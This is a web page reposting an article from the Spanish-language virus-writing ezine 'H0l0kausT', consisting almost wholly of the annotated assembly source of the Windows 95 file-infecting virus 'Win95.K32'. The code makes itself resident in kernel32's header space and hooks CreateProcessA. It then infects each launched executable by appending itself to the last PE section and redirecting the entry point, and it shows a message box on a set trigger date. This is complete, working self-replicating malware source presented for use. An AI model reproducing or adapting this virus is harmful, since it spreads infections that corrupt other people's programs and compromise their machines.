Copy Link
Add to Bookmark
Report

VIRUS WIN95.K32

H0l0kausT Issue 1

eZine's profile picture
Published in 
H0l0kausT
 · 1 year ago
VIRUS WIN95.K32
Pin it

;*********************************************************************** 
;* *
;* VIRUS WIN95.K32 By nIgr0 *
;* *
;***********************************************************************
;
; Virus residente, pa win95
; Uso el espacio libre dejado por el header del kernel32
; dentro de la primera p†gina.
; Parcheo el API CreateProcessA mediante un JMP
; Modifico los permisos de las p†ginas que voy a utilizar
; mediante una llamada a CALLVXD0 (_PageModifyPermissions)
; Vxd 01 servicio 0d.
; Hallo la direccion de las apis a utilizar buscando en la
; export table del kernel32 , supongo la direcci¢n base del
; kernel32.dll como 0bff70000h . La unica comprobaci¢n que hago
; al respecto es mirar en la pila [sp+3]=0b7h, con lo que
; por lo menos si no es 0bff70000h se acerca :)
; Infecto aumentando la ultima secci¢n del file y modifico el
; entrypoint del file, pero no modifico los atributos de la £ltima
; secci¢n aunque estos sean de solo lectura ,paso completamente de esos
; atributos y luego mientras se ejecuta el virus este se pone los
; atributos de pagina que quiera mediante el servicio
; _PageModifyPermissions.
;



.386p
.model flat,STDCALL
include win32.inc

extrn ExitProcess:PROC
extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera
extrn CreateProcessA:proc ;generaci¢n


;*********** Aqu° algunas equs interesantes ****************

viriisize equ (((offset end - offset start)+064h)/065h)*065h
K32 equ 0bff70000h
hueco equ 0bffc0400h ;Zona en el header

GENERIC_READ EQU 80000000H ;abre archivo para lectura
GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura
OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente


.data

dummy db 0 ;de esta secci¢n paso
mess db 'nIgrO rUlez!!!$',0
text db 'Virus Win95.K32 .... Ejecutado',0



.code
start:
xor eax,eax ;este es el codigo de un Hoste Ficticio
push eax
lea eax,mess
push eax
lea eax,text
push eax
xor eax,eax
push eax

nop
nop
nop
nop
nop

; call MessageBoxA



Lajodimos:

Push LARGE -1
call ExitProcess

;***************** Comienzo del Virus **********************

startvirii:
cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el
jne malasunto ;la direcci¢n bf??????h

pushad ;pusheo tooo
push ebp

call getdesp ;obtengo el delta
getdesp: pop ebp
sub ebp,offset getdesp

jmp saltito ;jmp pa esquivar la zona de datos :)

;***************** Comienzo de la zona de Datos ***********

startdata:
PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii
jmp eax
codigoparcheado:
db 010h dup (0)

FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0
NLH db 'nIgr0_lives_here!!!!',0
IOBYTES dd 0h,0h
llamada dd 0bff713d4h ;direcci¢n de CallVXD0 hallada anteriormente
hoste db 'c:\virus\k32\K.EXE',0,' '

ahand dd 0 ; handle del virus que abro
peheaderoffset dd 0 ; Guardo el offset del peheader del archivo
ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria
bytesread dd 0 ; numero de bytes que leo/escrito en el archivo

secdesplaza dd 0h
secphy dd offset startvirii- offset start
ultfisicalsize dd 0h

newobject: ; Zona en la que almaceno el ultimo objeto
oname db ".nigro",0,0 ; Pa modificarlo a placer
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags dd 0h

peheader: ; Estructura del Pe header
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
db 400h dup (0)

addresstable dd 00h ;direccion de la addresstable en la export table
nametable dd 00h ;direccion la tabla de punteros a strings (de la export table)
ordinaltable dd 00h ;puntero a la ordinal table
contador dd 00h ;pa calcular la posici¢n del puntero en la nametable que
;que apunte a la api buscada.
apiabuscar dd 00h ;offset donde se encuentra la string de la api a
;buscar (es usada temporalmente por mi
;procedimiento GetAdressAPi)
longitudapi dd 00h

;************** Direcciones para las APIS *******************


nombreapis:
dd 010d
db 'CreateFile',0,' ' ;strings de las apis que
dd 014d
db 'SetFilePointer',0,' ' ;voy a utilizar
dd 08d
db 'ReadFile',0,' ' ;junto con el tama§o de la
dd 09d
db 'WriteFile',0,' ' ;string
dd 011d
db 'CloseHandle',0,' '
dd 014d
db 'CreateProcessA',0,' '
dd 016d
db 'GetModuleHandleA',0
dd 014d
db 'GetProcAddress',0,' '
direccionesapis:

newCreateFile dd 00h ;0bff7799ch ;valores para mi versi¢n de WIN :)
newSetFilePointer dd 00h ;0bff770e4h
newReadFile dd 00h ;0bff7594ah
newWriteFile dd 00h ;0bff75951h
newCloseFile dd 00h ;0bff7bc8bh
newCreateProcessA dd 00h ;0bff775e8h
newGetModuleHandleA dd 00h
newGetProcAddress dd 00h

dllmensajito db 'USER32.dll',0
apimensajito db 'MessageBoxA',0

;***************** Fin de la Zona de datos ***********************


saltito:
;en eax viene el entrypoint del virii

mov ebx,eax ;copia de seguridad

xor eax,eax ;empiezo a calcular la direccion de CALLVXD0
mov esi,K32 + 3CH
lodsw ;en ax me quedar† el comienzo del PE header

add eax,K32 ;a la que le suma la direcci¢n base del Kernel32


cmp dword ptr [EAX],00004550H ;verifico que es un PE header
je NoERROR

ERROR: jmp melaspiro


NoERROR:
mov esi,[EAX + 78H] ; 78H = la direcci¢n a la export table
add esi,K32 + 1CH ; 1CH RVA para la adress table


lodsd ; en eax queda la RVA al primer ordinal
add eax,K32 ; es decir la direcci¢n a la CALLVXD0

push eax ;
pop esi ;en esi=eax

lodsd ;obtengo la RVA de la primera API
add eax,K32 ;EAX = La direcci¢n de la primera API


mov edi,ebx
and edi,0fffff000h ;calculo la pagina del virii
ror edi,012d
push eax
call modificarpermisos
pop eax

and ebx,00000fffh ;verifico que no va a utilizar 2 paginas
add ebx,viriisize ;en caso de que utilice 2 paginas , marco
cmp ebx,01000h ;la segunda pagina tambien para escritura
jl continuar

inc edi
push eax
call modificarpermisos
pop eax
continuar:

mov [ebp+llamada],eax ;salvo la direcci¢n de CALLVXD0

mov eax,0bff70400h ;verifico que no est† residente
mov ebx,dword ptr [eax]
cmp ebx,dword ptr [ebp+startvirii]
je yaresidente


mov ecx,08h ;numero de APis a buscar
lea esi,ebp+nombreapis
lea edi,ebp+direccionesapis
otraapi: ;obtengo la direccion de las apis
push edi ;que voy a utilizar
push esi
push ecx
call GetAddressApi
pop ecx
pop esi
pop edi
mov dword ptr [edi],eax
add edi,4h
add esi,021d
dec ecx
jne otraapi ;bueno en este punto tenemos las direcciones
;necesarias :)


mov eax,00002a00h
call INT_21 ;compruebo la fecha del sistema

cmp dh,02d
jne nopayload ;fecha de activaci¢n 19d de febrero
cmp dl,019d
jne nopayload

lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la
push ebx ;libreria USER32.dll donde reside
call [ebp+newGetModuleHandleA] ;el api MessageBoxA

lea ebx,ebp+apimensajito
push ebx
push eax
call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA

push 0
lea ebx,ebp+NLH
push ebx
lea ebx,ebp+FIRMA
push ebx
push 0
call eax ;llamo al api MessageBoxA


nopayload:

mov edi,0bff70h
call desprotegerpagina
mov edi,dword ptr [ebp+newCreateProcessA]
and edi,0fffff000h
ror edi,012d
call desprotegerpagina ;desprotejo 2 paginas una para poder
;parchear el api y otra en la que
;quedarÇ residente
inc edi
call desprotegerpagina ;y la siguiente

mov esi,dword ptr [ebp+newCreateProcessA]
lea edi,ebp+codigoparcheado
mov ecx,010h
rep movsb ;copio los 10h primeros bytes del api
;CreateProcess
;para poder devolver el control al API
;cuando sea llamada.

lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp
mov ecx,010h ;en la API ;del api
rep movsb

lea esi,ebp+startvirii
mov edi,0bff70400h
mov ecx,viriisize
rep movsb ;copio el virus en memoria

yaresidente:
melaspiro:
popad
pop ebp
malasunto:
db 0b8h ;esto es un mov eax,inm
oldip dd 0401000h ;Ip de inicio
jmp eax

enddata:
;*************** Modifica permisos de pagina *********************
;en eax la direccion de callvxd0
;y en edi la pagina a modificar

desprotegerpagina: ; LLamada a CALLVXD0
mov eax,dword ptr [ ebp + offset llamada]
modificarpermisos:
push 020060000h ;nuevos atributos de p†gina
push 00h
push 01h
push edi
push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions)
call eax
ret

;**************** Rutina para llamar a la int 21h **********************

INT_21: ; LLamada a la INT 21
push ecx
push eax
push 002a0010h
mov eax,dword ptr [ ebp + offset llamada]
call eax
RET

;************** Procedimiento que encuentra la direccion de las apis ***************
;************** en la export table del Kernel32 ***************

GetAddressApi:
mov eax,dword ptr [esi]
mov dword ptr [ebp+longitudapi],eax
add esi,04h
mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string

xor eax,eax
mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador
mov esi,K32 + 3CH
lodsw ;en ax me quedar† el comienzo del PE header

add eax,K32 ;a la que le suma la direcci¢n base del Kernel32

mov esi,[EAX + 78H] ; 78H = la direcci¢n a la export table
add esi,K32 + 1cH ; 1CH RVA para la adress table


lodsd ;obtengo los offset de algunas TABLAS
add eax,K32 ;interesantes de la export table
mov dword ptr [ebp+addresstable],eax
lodsd
add eax,K32
mov dword ptr [ebp+nametable],eax
lodsd
add eax,K32
mov dword ptr [ebp+ordinaltable],eax

;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
;Table.
;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
;Pointers.
;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals


mov eax,dword ptr [ebp+nametable]
mov esi,eax
anotherapi:
push esi
lodsd
mov esi,eax
add esi,K32
mov edi,dword ptr [ebp+apiabuscar]
mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes
cld ;con los que compararemos
repe cmpsb
je encontrada
pop esi
add esi,04h
inc dword ptr [ebp+contador]
jmp anotherapi

encontrada:
pop esi

xor eax,eax
mov eax,dword ptr [ebp+contador]
add eax,eax
add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador
mov esi,eax ;me voy a la ordinal table
lodsw ;y busco el ordinal del API
and eax,0000ffffh
add eax,eax
add eax,eax
add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la
mov esi,eax ;adress table
lodsd
add eax,K32 ;devuelvo en eax la direccion del API
ret


;***************************************************************************
;* *
;* Comienzo de la Rutina que intercepa la API CreateProcessA *
;* *
;***************************************************************************


starthook:
push ebp
call getdelta ;obtengo el delta
getdelta: pop ebp
sub ebp,offset getdelta


mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto
;de la pila :)
pushad ;pusheo tooo

mov esi,eax
lea edi,ebp+hoste
otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre
je sacabo ;de la victima en la variable hoste
movsb
jmp otrocar
sacabo: movsb ;copio el 0 tambiÇn

lea esi,ebp+hoste
cmp byte ptr [esi],022h
jne proseguir ;rehago el string por si est†
;entre comillas
lea edi,ebp+hoste
inc esi
mascara: cmp byte ptr [esi],022h
je finalizar
movsb
jmp mascara
finalizar: mov byte ptr [esi],0h
movsb
proseguir: cmp word ptr [edi-3h],'EX'
je esunexe
cmp word ptr [edi-3h],'ex'
je esunexe
jmp emergencia
esunexe:
lea esi,ebp+hoste ;Abro el archivo
xor eax,eax
push eax
push eax
push large OPEN_EXISTING
push eax
push eax
push large GENERIC_READ or GENERIC_WRITE
mov eax,esi
push eax
call dword ptr[ebp + newCreateFile]
cmp eax,-1
je emergencia



mov dword ptr [ebp + offset ahand],eax ; Guardo el handle


; Busco el comienzo del PE header que est† en la posici¢n 3ch

mov edx,03ch
call moverpuntero

; Leo la posici¢n del Pe header

mov ecx,004h
lea edx,[ebp + offset peheaderoffset]
call lectura

; Me muevo hasta el PE header

mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero


; Leo un poco del header para calcular todo el tama§o del
; pe header y object table

mov ecx,058h
lea edx,[ebp + offset peheader]
call lectura

; Llevo el puntero al comienzo del PE header de nuevo
mov edx,dword ptr [ebp+ offset peheaderoffset]
call moverpuntero

; leo todo el pe header y la object table
mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call lectura



; Me aseguro que es un pe y que no est† infectado
cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0
jnz notape
cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est† infectado salir
jz notape


; marco el archivo como infectado en una zona del Header
mov word ptr [ebp + offset peheader + 4ch],00badh


; Localizo el offset de la object table
xor eax,eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp + offset ObjectTableoffset],eax

;relativo al comienzo del Pe header


;Calculo el Offset del £ltimo objecto de la tabla
mov esi,dword ptr [ebp + offset ObjectTableoffset]
lea eax,[ebp + offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp + offset numObj]
mov ecx,40d
xor edx,edx
mul ecx
add esi,eax

sub esi,40d

lea edi,[ebp + offset newobject]

mov ecx,10d
push esi
push edi
rep movsd ;copio la entrada en la object table en memoria


mov eax,dword ptr [ebp + offset physicalsize]
mov dword ptr [ebp + offset ultfisicalsize],eax
mov dword ptr [ebp + offset secphy],eax

; Calcula el tama§o fisico pa el ultimo object
mov ecx,dword ptr [ebp + offset filealign]
mov eax,dword ptr [ebp + offset physicalsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize],eax

mov eax,dword ptr [ebp + offset virtualsize]
mov dword ptr [ebp+ offset secdesplaza],eax ;el tama§o virtual ser†
;el desplazamiento dentro de la secci¢n
;RVA del objeto + desplazamiento virtual= entrypoint RVA

; calcula el tama§o virtual del objeto modificado
mov ecx,dword ptr [ebp + offset objalign]
mov eax,dword ptr [ebp + offset virtualsize]
add eax,viriisize
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize],eax


; Modifico la image size del archivo.

mov eax,viriisize
add eax,dword ptr [ebp + offset imagesize]
mov ecx,[ebp + offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize],eax

; Copio el objeto modificado en el buffer

pop esi
pop edi
mov ecx,10d
rep movsd


; Calculo la nueva Entrypoint RVA
mov eax,dword ptr [ebp + offset RVA]
add eax,dword ptr [ebp + offset secphy]
mov ebx,dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA],eax

add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress
mov dword ptr [ebp + offset oldip],ebx

;completo la variable oldip para generar
;el jump al hoste


; de nuevo al Pe header
mov edx,dword ptr [ebp+offset peheaderoffset]
call moverpuntero

; Escribo el pe header y la object table en el archivo

mov ecx,dword ptr [ebp + offset headersize]
lea edx,[ebp + offset peheader]
call escritura

; Me voy al final del file para copiar el virus
mov edx,dword ptr [ebp + offset physicaloffset]
add edx,dword ptr [ebp + offset ultfisicalsize]
call moverpuntero


; Copio el virus al final (de la ultima secci¢n)
mov ecx,viriisize
lea edx,[ebp + offset startvirii]
call escritura


notape:
push dword ptr [ebp + ahand]
call dword ptr [ebp + newCloseFile]


emergencia:

lea esi,ebp+codigoparcheado
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;los 010h primeros bytes
rep movsb ;del api


popad
pop ebp

call getdelta2 ;obtengo el delta otra vez
getdelta2:pop eax
sub eax,offset getdelta2


pop dword ptr [eax+dirretorno]
call dword ptr [eax+newCreateProcessA] ;llamo a la api

push ebp
call getdelta3 ;obtengo el delta otra vez
getdelta3:pop ebp
sub ebp,offset getdelta3

pushad

lea esi,ebp+PARCHE
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
mov ecx,010h ;el parche ;del api
rep movsb
popad
pop ebp
db 068h ;opcode de un push
dirretorno dd 00h
ret

lectura: ;Llamada al api ReadFile
push large 0 ;En ecx: Numero de bytes a leer
lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newReadFile]
ret

moverpuntero: ;Llamada al api SetFilePointer
push LARGE 0 ;en edx: el offset del archivo
push LARGE 0
push edx
push dword ptr [ebp + ahand]
call dword ptr [EBP + newSetFilePointer]
ret

escritura: ;Llamada al api WriteFile
;en ecx: bytes a escribir
;en edx: offset del buffer
push LARGE 0
LEA eax,[ebp + IOBYTES]
push eax
push ecx
push edx
push dword ptr [ebp + ahand]
call dword ptr [ebp + newWriteFile]
jur: ret

endhook:
endvirii:
end:
end startvirii

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT